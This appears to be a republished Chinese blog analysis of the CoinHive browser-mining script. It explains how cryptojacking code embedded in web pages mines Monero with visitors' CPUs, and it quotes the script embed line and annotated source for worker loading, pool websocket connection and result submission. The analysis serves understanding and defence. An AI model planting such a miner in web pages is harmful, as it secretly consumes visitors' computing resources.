浏览器挖矿--CoinHive挖矿脚本分析
Posted 子卿先生
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浏览器挖矿--CoinHive挖矿脚本分析相关的知识,希望对你有一定的参考价值。
0x00 前言
随着数字货币的流行,以获取数字货币为目的的恶意挖矿行为也开始层出不穷,其中又以浏览器挖矿最为普遍。本文将对浏览器挖矿中使用最多的CoinHive脚本进行分析,说说浏览器挖矿这点事
0x01 基础知识
挖矿:即通过计算机算力,并按照特定数字货币的计算生产方法(算法)来获取相应的数字货币
矿池:相关数字货币根据区块链,来进行生产任务(挖矿)和生产利润的分配
浏览器挖矿:挖矿代码嵌入前端页面中,利用访问该页面的用户算力进行挖矿
由于不同的数字货币其算法生成原理不同,coinhive是针对于门罗币(Monero,缩写:XMR)的
简单来说,就是恶意矿工将挖矿脚本(一段JS脚本)植入到web页面中,当用户打开该web页面,嵌入其中的js脚本便开始执行,挖矿行为便开始了
0x02 脚本分析
2. 1 目录结构
coinhive.min.js 矿池通信,接收任务hash,分配worker进行运算执行
worker-asmjs.min.js 通过asm.js将c语言编写的算法进行转换而成的js文件,是挖矿算法的具体实现
worker.wasm 通过WebAssembly将c语言编写的算法进行转换而成的文件,是挖矿算法的具体实现
2. 2 coinhive.min.js流程解剖
2. 2. 1 用户身份验证
<script>var miner = new CoinHive.Anonymous("99nheD84S8eJK7eD4pufvR5Wd1KGjxlj",{throttle:0.5}) miner.start()</script>
2. 2. 2 work-asmjs.min.js加载
Miner.prototype._loadWorkerSource = function (callback) { if (this._useWASM || this._asmjsStatus === "loaded") {
callback() //判断浏览器是否可执行wasm,asmjs文件是否载入
} else if (this._asmjsStatus === "unloaded") { this._asmjsStatus = "pending"; var xhr = new XMLHttpRequest;
xhr.addEventListener("load", function () {
CoinHive.CRYPTONIGHT_WORKER_BLOB = CoinHive.Res(xhr.responseText); this._asmjsStatus = "loaded";
callback()
}.bind(this), xhr);
xhr.open("get", CoinHive.CONFIG.LIB_URL + CoinHive.CONFIG.ASMJS_NAME, true);
xhr.send()
//若asmjs文件未载入,从https://coinhive.com/lib/worker-asmjs.min.js?v7下载
}
};
work-asmjs.min.js是挖矿算法的具体实现,输入一个初始值,输出计算结果,是消耗CPU的根源。worker.wasm是另外一种格式,内部算法与work-asmjs.min.js相同,均为二进制。
2. 2. 3 建立挖矿线程JobThread,worker对象
var JobThread = function () { this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB); //CoinHive.CRYPTONIGHT_WORKER_BLOB就是work-asmjs.min.js或者worker.wasm,根据不同环境选用执行效率最高的格式
this.worker.onmessage = this.onReady.bind(this); //监听hash输入
this.currentJob = null; this.verifyJob = null; this.jobCallback = function () {}; this.verifyCallback = function () {}; this._isReady = false; this.hashesPerSecond = 0; this.hashesTotal = 0; this.running = false; this.lastMessageTimestamp = Date.now()
};
2. 2. 4 websocket连接矿池,进行通信
Miner.prototype._connect = function () { if (this._socket) { return
} var shards = CoinHive.CONFIG.WEBSOCKET_SHARDS; //矿池地址,数组类型,内有多个地址
var shardIdx = Math.random() * shards.length | 0; var proxies = shards[shardIdx]; var proxyUrl = proxies[Math.random() * proxies.length | 0]; //随机选择地址
this._socket = new WebSocket(proxyUrl); this._socket.onmessage = this._onMessage.bind(this); //监听服务器消息
this._socket.onerror = this._onError.bind(this); this._socket.onclose = this._onClose.bind(this); this._socket.onopen = this._onOpen.bind(this)
}; //建立和矿池的连接,持续的监听矿池的消息,如初始hash值
_onMessage()函数判断服务器消息类型,若为"job",将数据传入worker对象进行计算
Miner.prototype._onMessage = function (ev) { var msg = JSON.parse(ev.data);
if (msg.type === "job") { this._setJob(msg.params); //设置worker对象的初始输入,内有初始hash,job_id等信息
this._emit("job", msg.params); //记录此次job
if (this._autoThreads.enabled && !this._autoThreads.interval) { this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery; this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
} //线程配置
2. 2. 5 worker接收初始hash,执行,返回结果
Miner.prototype._setJob = function (job) { this._currentJob = job; this._currentJob.throttle = this._throttle; for (var i = 0; i < this._threads.length; i++) { this._threads[i].setJob(job, this._onTargetMetBound )
} //多线程开始执行挖矿算法,完成后向服务器发送结果
};
JobThread.prototype.setJob = function (job, callback) { this.currentJob = job; this.jobCallback = callback; //时刻监听计算后的结果
if (this._isReady && !this.running) { this.running = true; this.worker.postMessage(this.currentJob) //将初始输入传至worker进行计算
}
};
2. 2. 6 客户端通过websocket将结果上传至服务器
_onTargetMet函数时刻检查_eventListeners中的结果,并将新得出的结果上传至服务器
this._onTargetMetBound = this._onTargetMet.bind(this);
Miner.prototype._onTargetMet = function (result) { this._emit("found", result); //查询_eventListeners中是否存在已计算出的结果
if (result.job_id === this._currentJob.job_id) {
this._send("submit", { version: CoinHive.VERSION, job_id: result.job_id, nonce: result.nonce, result: result.result
})//若存在,检查其job_id是否与当前job_id一致,若一致,则上传结果至服务器
}
};
Miner.prototype._send = function (type, params) { if (!this._socket) { return
} var msg = { type: type, params: params || {}
}; this._socket.send(JSON.stringify(msg))
};
0x03 总结
1 Miner对象根据计算机资源建立多线程JobThread,并通过WebSocket与服务器通信,取得job_id,初始hash等关键信息。
2 JobThread根据work-asmjs.min.js或worker.wasm建立worker对象
3 Miner将关键信息传给JobThread中的worker对象,worker根据算法运算,输出结果hash保存至_eventListeners中
4 Miner从_eventListeners取出结果hash,发送至服务器
ps:本文主要针对coinhive.min.js进行分析,未涉及到数字货币的算法流程,对coinhive算法有兴趣的可参考CryptoNight算法原理(http://www.monero-xmr.org/topics/12)
以上是关于浏览器挖矿--CoinHive挖矿脚本分析的主要内容,如果未能解决你的问题,请参考以下文章
恶意挖矿脚本Coinhive大举入侵,400多家政企网站受波及
恶意Coinhive挖矿脚本肆意传播 全球400多家政企网站遭殃